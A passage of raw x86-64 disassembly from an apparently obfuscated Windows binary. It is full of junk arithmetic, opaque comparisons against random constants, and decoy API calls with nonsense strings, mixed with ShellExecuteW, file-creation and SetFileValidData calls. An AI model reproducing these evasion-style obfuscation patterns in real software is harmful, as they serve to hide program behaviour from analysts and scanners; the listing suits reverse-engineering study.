mov rcx, qword [rsp + 0xbe10]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5524]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5520], eax
jmp 0x1400098d6
mov dword [rsp + 0x20], 0x35
lea r9, [rsp + 0xbbb0]
lea r8, [rsp + 0xbcf8]
mov edx, PathYetAnotherMakeUniqueName
mov rcx, qword [rsp + 0xbc18]
call qword [sym.imp.SHELL32.dll_ExtractIconExW]
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xbd60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbdc8]
shl rax, cl
mov rcx, qword [rsp + 0xbe58]
mov rdx, qword [rsp + 0xbe40]
mov rdx, qword [rdx]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x14021218f
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov byte [rsp + 0x5550], al
cmp byte [rsp + 0x5550], 0xbf
je 0x140009940
cmp byte [rsp + 0x5550], 0xf1
je 0x140009a1e
jmp 0x140009a5e
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov dword [rsp + 0x5554], eax
cmp dword [rsp + 0x5554], 0xff2
je 0x140009964
jmp 0x1400099ff
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x12e0], ax
lea rdx, [rsp + 0x455d0]
mov ecx, 0xc5
call qword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
mov dword [rsp + 0x5430], eax
movsx eax, byte [rsp + 0x107]
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x194], al
mov dword [rsp + 0x28], reloc.SHELL32.dll_ILCombine
mov rax, qword [rsp + 0xbda0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbd98]
mov r8, qword [rsp + 0xbd98]
mov rdx, qword [rsp + 0xbe88]
mov rcx, qword [rsp + 0xbbb0]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xbcc0], rax
jmp 0x140009a1c
movsx eax, word [rsp + 0x12d4]
movsx ecx, word [rsp + 0x12f0]
add eax, ecx
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
jmp 0x140009a5e
mov rax, qword [rsp + 0xbdc8]
mov rcx, qword [rsp + 0xb800]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc58], rax
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbe60]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbbb8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbc70], rax
mov rax, qword [rsp + 0xbc98]
mov ecx, dword [0x1402505d0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5470], eax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe18]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbcf8]
movzx ecx, word [rcx]
mov dword [rsp + 0x5558], ecx
movzx edx, word [section..data]
movzx ecx, dl
mov edx, dword [rsp + 0x5558]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jg 0x140009bc9
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0xbe90], rax
movabs rax, 0xd7399461c32610b0
cmp qword [rsp + 0xbe90], rax
je 0x140009b05
jmp 0x140009ba5
movzx eax, word [rsp + 0x12c8]
mov word [rsp + 0x12f4], ax
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x555c], eax
cmp dword [rsp + 0x555c], 0x5a2823b6
je 0x140009b32
jmp 0x140009ba3
xor r8d, r8d
mov edx, 0x75
mov rcx, qword [rsp + 0xbe98]
call qword [sym.imp.USER32.dll_ShowScrollBar]
mov dword [rsp + 0x54c0], eax
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
and eax, ecx
mov word [section..data], ax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0xbd20]
mov byte [rcx], al
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x12f4]
add eax, ecx
mov word [rsp + 0x12c8], ax
jmp 0x140009bc9
mov r8, qword [rsp + 0xbea0]
lea rdx, str.inattentive_arkansas
mov rcx, qword [rsp + 0xbda8]
call qword [sym.imp.USER32.dll_SetPropW]
mov dword [rsp + 0x5420], eax
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x107]
movsx edx, byte [rsp + 0x194]
sub ecx, edx
cmp eax, ecx
jle 0x140009dc4
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x107]
and eax, ecx
mov rcx, qword [rsp + 0xbd40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe60]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0xbc40]
movzx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
je 0x140009dc4
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbbd8], rax
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov qword [rsp + 0xbea8], rax
movabs rax, 0xae5c37bbf45967f
cmp qword [rsp + 0xbea8], rax
je 0x140009d97
movabs rax, 0x378ba1b7a54b2958
cmp qword [rsp + 0xbea8], rax
je 0x140009cb1
jmp 0x140009dc4
mov r8d, 0xa9
lea rdx, [rsp + 0xbd50]
lea rcx, [rsp + 0xbbb8]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x54dc], eax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbdd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov dword [rsp + 0x5560], eax
cmp dword [rsp + 0x5560], 0x4c3d
je 0x140009d16
jmp 0x140009d76
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x551c], eax
mov rcx, qword [rsp + 0xbeb0]
call qword [sym.imp.USER32.dll_LockWindowUpdate]
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
mov ecx, dword [0x1402505d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x543c], eax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12d8]
sar eax, cl
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
jmp 0x140009d95
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
xor eax, ecx
mov word [section..data], ax
jmp 0x140009dc4
lea r9, [rsp + 0x44e30]
lea r8, [rsp + 0xbcf8]
lea rdx, [rsp + 0x107]
mov rcx, qword [rsp + 0xbe88]
call qword [sym.imp.SHELL32.dll_SHGetDiskFreeSpaceExW]
mov dword [rsp + 0x5430], eax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov dword [rsp + 0x5564], eax
cmp dword [rsp + 0x5564], 0xffff9f4f
je 0x140009df9
cmp dword [rsp + 0x5564], 0x34f6
je 0x140009f31
jmp 0x140009f95
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
shl eax, cl
movzx ecx, byte [rsp + 0x198]
mov rdx, qword [rsp + 0xbe60]
movzx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x140009f2f
movsx eax, byte [rsp + 0x199]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov rcx, qword [rsp + 0xbd40]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc30]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x194]
add ecx, edx
cmp eax, ecx
jg 0x140009f2f
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0xbeb8], rax
cmp qword [rsp + 0xbeb8], 0
je 0x140009e9c
jmp 0x140009eed
lea rdx, [rsp + 0x5568]
mov rcx, qword [rsp + 0xbd80]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5484], eax
movzx eax, word [rsp + 0x12d4]
mov word [rsp + 0x12f8], ax
mov rax, qword [rsp + 0xbc40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe20]
mov byte [rcx], al
jmp 0x140009f0e
mov r8, qword [rsp + 0xbc70]
mov rax, qword [rsp + 0xbdd8]
mov rdx, qword [rax]
movzx ecx, byte [rsp + 0x198]
call fcn.1402141e0
nop
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbdd8]
mov qword [rcx], rax
jmp 0x140009f95
mov rax, qword [rsp + 0xbc78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5450]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5448], eax
mov r8d, 0x69
mov rdx, qword [rsp + 0xbc08]
mov rcx, qword [rsp + 0xbec0]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xbcc8], rax
mov rax, qword [rsp + 0xbd18]
mov rcx, qword [rsp + 0xbe10]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd18]
mov qword [rcx], rax
movzx eax, word [rsp + 0x12cc]
movzx ecx, word [rsp + 0x12c8]
add eax, ecx
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0xbcf8]
movzx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x140009ff7
mov eax, dword [rsp + 0x551c]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5514]
mov r8d, dword [rsp + 0x5524]
mov edx, dword [rsp + 0x5514]
mov ecx, dword [rsp + 0x5524]
call fcn.140213850
nop
jmp 0x14000a12c
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc38]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbe18]
movzx ecx, word [rcx]
mov dword [rsp + 0x556c], ecx
movzx edx, word [rsp + 0x12cc]
movzx ecx, dl
mov edx, dword [rsp + 0x556c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000a12c
mov rax, qword [rsp + 0xbe10]
mov rax, qword [rax]
mov qword [rsp + 0xbec8], rax
movabs rax, 0xeb23413320cdd71
cmp qword [rsp + 0xbec8], rax
je 0x14000a083
movabs rax, 0x2e356e46cbe14c15
cmp qword [rsp + 0xbec8], rax
je 0x14000a10a
jmp 0x14000a12c
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xbe08]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb800], rax
movsx eax, byte [rsp + 0x199]
mov rcx, qword [rsp + 0xbd40]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbbc0]
mov byte [rcx], al
lea r9, [rsp + 0xbcd0]
lea r8, [rsp + 0x198]
mov rdx, qword [rsp + 0xbed0]
lea rcx, [rsp + 0xbdd8]
call sub.VERSION.dll_VerQueryValueW
mov dword [rsp + 0x5570], eax
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf4]
and eax, ecx
mov word [section..data], ax
jmp 0x14000a12c
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc40]
mov byte [rcx], al
lea rax, [rsp + 0x12d4]
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xbee0], rax
movabs rax, 0x563b98ab168dcafb
cmp qword [rsp + 0xbee0], rax
je 0x14000a180
movabs rax, 0xac110446889f9535
cmp qword [rsp + 0xbee0], rax
je 0x14000a25c
jmp 0x14000a278
mov rax, qword [rsp + 0xbc28]
mov rax, qword [rax]
mov qword [rsp + 0xbee8], rax
movabs rax, 0x1889fed814862dff
cmp qword [rsp + 0xbee8], rax
je 0x14000a240
movabs rax, 0x3e064826e2f70f22
cmp qword [rsp + 0xbee8], rax
je 0x14000a1c4
jmp 0x14000a25a
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x196], al
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x5448]
call qword [sym.imp.SHELL32.dll_SHIsFileAvailableOffline]
mov dword [rsp + 0x54ac], eax
mov rax, qword [rsp + 0xbc98]
mov rcx, qword [rsp + 0xbc78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbd68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rsp + 0xbdc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbe08], rax
jmp 0x14000a25a
mov edx, 0xcb
mov rcx, qword [rsp + 0xbd90]
call qword [sym.imp.SHELL32.dll_SHGetIconOverlayIndexW]
mov dword [rsp + 0x5514], eax
jmp 0x14000a278
movzx eax, byte [rsp + 0x197]
movzx ecx, byte [rsp + 0x198]
add eax, ecx
mov rcx, qword [rsp + 0xbe48]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.Perenniallypostbag
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xbef0], rax
movsx eax, byte [rsp + 0x194]
mov rcx, qword [rsp + 0xbd40]
movsx ecx, byte [rcx]
add eax, ecx
movsx ecx, byte [rsp + 0x199]
mov rdx, qword [rsp + 0xbd20]
movsx edx, byte [rdx]
and ecx, edx
cmp eax, ecx
jl 0x14021211d
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x19a], al
mov eax, dword [rsp + 0x5514]
cdq
mov ecx, 0x49d9f1b2
idiv ecx
mov dword [0x14024f010], eax
movzx eax, word [rsp + 0x12cc]
mov dword [rsp + 0x5574], eax
cmp dword [rsp + 0x5574], 0
je 0x14000a339
cmp dword [rsp + 0x5574], 0x798
je 0x140212002
jmp 0x140212031
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
movzx ecx, word [section..data]
sub eax, ecx
movzx ecx, word [rsp + 0x12f4]
movzx edx, word [rsp + 0xcf4]
sub ecx, edx
cmp eax, ecx
jg 0x14000a480
movzx eax, byte [rsp + 0x19a]
movzx ecx, byte [rsp + 0x196]
add eax, ecx
mov byte [rsp + 0x198], al
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x5578], eax
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xbcf8]
movzx eax, word [rax]
mov dword [rsp + 0x557c], eax
cmp dword [rsp + 0x557c], 0
je 0x14000a3e4
cmp dword [rsp + 0x557c], 0x244
je 0x14000a45f
jmp 0x14000a47e
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x5524], eax
mov rax, qword [rsp + 0xb800]
mov qword [rsp + 0xbef8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov ecx, ILFindLastID
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x549c], eax
lea rcx, str.Encamped_Coven_thorn_Needed_Stair
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x12dc], ax
movzx eax, word [rsp + 0x12f4]
movzx ecx, word [rsp + 0x12e0]
and eax, ecx
mov word [rsp + 0xcf4], ax
lea rax, [rsp + 0x12d4]
mov qword [rsp + 0xbf00], rax
jmp 0x14000a47e
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe20]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x196], al
jmp 0x14000a4ff
lea rax, [rsp + 0xbdd8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xbd90]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x5470]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x320f0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbf08]
mov r8, qword [rsp + 0xbe30]
lea rdx, str.insincereSandpitunderstand
mov ecx, 7
call sub.VERSION.dll_VerFindFileW
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd40]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
mov dword [rsp + 0x5580], ecx
movsx edx, byte [rsp + 0x107]
movzx ecx, dl
mov edx, dword [rsp + 0x5580]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140211f53
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12e0]
sub eax, ecx
movzx ecx, word [rsp + 0x12cc]
movzx edx, word [rsp + 0x12c8]
sub ecx, edx
cmp eax, ecx
jg 0x140211eb3
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x19b], al
movsx eax, word [rsp + 0x12d4]
mov dword [rsp + 0x5584], eax
cmp dword [rsp + 0x5584], 0xffffffff
je 0x14000a5b7
cmp dword [rsp + 0x5584], 0x35af
je 0x140211d6c
jmp 0x140211d82
mov rax, qword [rsp + 0xbd20]
movzx eax, byte [rax]
mov byte [rsp + 0x5588], al
cmp byte [rsp + 0x5588], 0x4b
je 0x14000a61b
cmp byte [rsp + 0x5588], 0x72
je 0x14000a5df
jmp 0x14000a65d
mov eax, dword [rsp + 0x5488]
mov ecx, dword [rsp + 0x5450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x543c], eax
mov r8, qword [rsp + 0xbc70]
mov rdx, qword [rsp + 0xbc70]
mov rax, qword [rsp + 0xbe20]
movzx ecx, byte [rax]
call fcn.1402141e0
nop
jmp 0x14000a65d
mov rax, qword [rsp + 0xbc58]
mov rcx, qword [rsp + 0xbe08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbd60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbbb8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc20], rax
mov rax, qword [rsp + 0xbe10]
mov rcx, qword [rsp + 0xbd18]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbdd8]
mov rdx, qword [rsp + 0xbc70]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
jle 0x14000a706
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x558c], eax
cmp dword [rsp + 0x558c], 0x41170b8e
je 0x14000a6bb
cmp dword [rsp + 0x558c], 0x572d0eaa
je 0x14000a6e5
jmp 0x14000a701
lea r9, [rsp + 0xbc50]
mov r8d, 0xe9
mov edx, 0xa8
mov rcx, qword [rsp + 0xbf10]
call qword [sym.imp.USER32.dll_GetMenuBarInfo]
mov dword [rsp + 0x5420], eax
jmp 0x14000a701
mov rax, qword [rsp + 0xbc28]
mov rdx, qword [rax]
mov rax, qword [rsp + 0xbd60]
mov rcx, qword [rax]
call fcn.140213740
nop
jmp 0x14000a7c6
mov rax, qword [rsp + 0xbdd8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xbc70]
sar rax, cl
mov rcx, qword [rsp + 0xbd18]
mov rdx, qword [rsp + 0xbe10]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
xor rcx, rdx
cmp rax, rcx
jne 0x14000a7c6
lea rdx, [rsp + 0x2fd78]
mov rcx, qword [rsp + 0xbd80]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5418], eax
movzx eax, word [rsp + 0x12f8]
mov word [0x1402505d4], ax
mov eax, dword [rsp + 0x5520]
mov dword [rsp + 0x551c], eax
movzx eax, byte [rsp + 0x19a]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x196], al
mov rax, qword [rsp + 0xbd78]
movzx eax, word [rax]
mov word [rsp + 0x12fc], ax
mov rax, qword [rsp + 0xbbc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x199]
or eax, ecx
mov byte [rsp + 0x19b], al
mov eax, dword [rsp + 0x5578]
mov ecx, dword [rsp + 0x5488]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov edx, dword [rsp + 0x5448]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jae 0x14000a8b5
mov rax, qword [rsp + 0xbd20]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
add eax, ecx
mov byte [rsp + 0x19b], al
mov eax, dword [rsp + 0x5524]
mov dword [rsp + 0x5590], eax
cmp dword [rsp + 0x5590], 0x57327eb9
je 0x14000a82c
jmp 0x14000a8a0
mov rcx, qword [rsp + 0xbc08]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0xbf18], rax
movzx eax, word [section..data]
movzx ecx, word [rsp + 0x12cc]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0xbc20]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbbb8], rax
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd20]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc30]
mov byte [rcx], al
jmp 0x14000a8b5
lea rcx, [rsp + 0x320b0]
call qword [sym.imp.SHELL32.dll_ILGetSize]
mov dword [rsp + 0x5468], eax
mov dword [rsp + 0x3c7f0], 0x11c
mov rcx, qword [rsp + 0xbef0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5410], eax
movzx eax, byte [rsp + 0x195]
mov rcx, qword [rsp + 0xbc40]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14024f002], al
mov dword [rsp + 0x325f0], 0x114
mov r9d, 0x1a07
xor r8d, r8d
lea rdx, [rsp + 0xbdd0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5404], eax
mov rax, qword [rsp + 0xbbb8]
mov qword [rsp + 0xbf20], rax
cmp qword [rsp + 0xbf20], 0
je 0x14000a956
movabs rax, 0x5354d34b49a6942e
cmp qword [rsp + 0xbf20], rax
je 0x140211b92
jmp 0x140211cd2
mov rax, qword [rsp + 0xbd78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbed8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x12d4]
sub ecx, edx
cmp eax, ecx
jl 0x14000aa25
mov eax, dword [rsp + 0x5524]
mov dword [rsp + 0x5594], eax
cmp dword [rsp + 0x5594], 0x6dc06fad
je 0x14000aa0b
cmp dword [rsp + 0x5594], 0x7e3af647
je 0x14000a9b5
jmp 0x14000aa25
mov rax, qword [rsp + 0xbc30]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
sub eax, ecx
mov byte [rsp + 0x19b], al
lea rax, [rsp + 0x107]
mov qword [rsp + 0x20], rax
mov r9d, 0x66
lea r8, [rsp + 0x5520]
lea rdx, [rsp + 0xbea0]
lea rcx, [rsp + 0xbd78]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x54ac], eax
jmp 0x14000aa25
mov rax, qword [rsp + 0xbc78]
mov ecx, dword [rsp + 0x5448]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5470], eax
mov eax, dword [rsp + 0x5520]
mov dword [rsp + 0x5598], eax
mov edx, 0x1fdb21
mov rcx, qword [rsp + 0xbd80]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x548c], eax
movsx eax, word [0x1402505d4]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x12fc]
movsx edx, word [rsp + 0x12f0]
sub ecx, edx
cmp eax, ecx
jle 0x14000ac03
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov ecx, dword [0x1402505d0]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5488]
mov edx, dword [rsp + 0x5450]
and edx, ecx
mov ecx, edx
cmp eax, ecx
jae 0x14000ab24
mov rax, qword [rsp + 0xbbd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x196]
add eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12c8]
sub eax, ecx
mov rcx, qword [rsp + 0xbcf8]
mov word [rcx], ax
mov dword [rsp + 0x28], 0xe5
mov rax, qword [rsp + 0xbc08]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xbed0]
mov r8, qword [rsp + 0xbc10]
mov rdx, qword [rsp + 0xbf28]
mov rcx, qword [rsp + 0xbbf8]
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov qword [rsp + 0xbf30], rax
mov rax, qword [rsp + 0xbe40]
mov rax, qword [rax]
mov qword [rsp + 0xbf38], rax
movabs rax, 0x34b31df1713e1724
cmp qword [rsp + 0xbf38], rax
je 0x14000ab64
movabs rax, 0x8f9b4bf1861721c5
cmp qword [rsp + 0xbf38], rax
je 0x14000abac
jmp 0x14000abfe
mov rax, qword [rsp + 0xbe18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf4]
add eax, ecx
mov word [rsp + 0x12f4], ax
mov r9d, 0x6b
mov r8d, 0x2a
mov rdx, qword [rsp + 0xbf40]
mov rcx, qword [rsp + 0xbf10]
call qword [sym.imp.USER32.dll_CreateCaret]
mov dword [rsp + 0x5430], eax
jmp 0x14000abfe
mov rax, qword [rsp + 0xbed8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbed8]
mov word [rcx], ax
mov eax, dword [rsp + 0x5514]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5520]
mov r8d, dword [rsp + 0x5520]
mov edx, dword [rsp + 0x5598]
mov ecx, dword [rsp + 0x5520]
call fcn.140213850
nop
jmp 0x140211ae0
movzx eax, byte [rsp + 0x198]
mov byte [rsp + 0x559c], al
cmp byte [rsp + 0x559c], 0
je 0x14000ac2f
cmp byte [rsp + 0x559c], 0x7c
je 0x14000ad5b
jmp 0x14000adbe
mov rax, qword [0x14024f008]
mov rcx, qword [rsp + 0xbe08]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe40]
mov rdx, qword [rsp + 0xbe58]
mov rcx, qword [rcx]
sub rcx, rdx
cmp rax, rcx
je 0x14000ad0d
movsx eax, word [rsp + 0x12f0]
mov rcx, qword [rsp + 0xbf00]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xbd78]
mov word [rcx], ax
movsx eax, word [rsp + 0x12f8]
mov dword [rsp + 0x55a0], eax
cmp dword [rsp + 0x55a0], 0xffffffff
je 0x14000ac9e
jmp 0x14000aceb
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5450]
shl eax, cl
mov dword [rsp + 0x508c], eax
mov rcx, qword [rsp + 0xbd80]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x55a4], eax
mov eax, dword [rsp + 0x5520]
mov ecx, dword [rsp + 0x551c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5598], eax
jmp 0x14000ad0b
mov rax, qword [rsp + 0xbe40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe58]
or rcx, rax
mov rax, rcx
mov qword [0x14024f008], rax
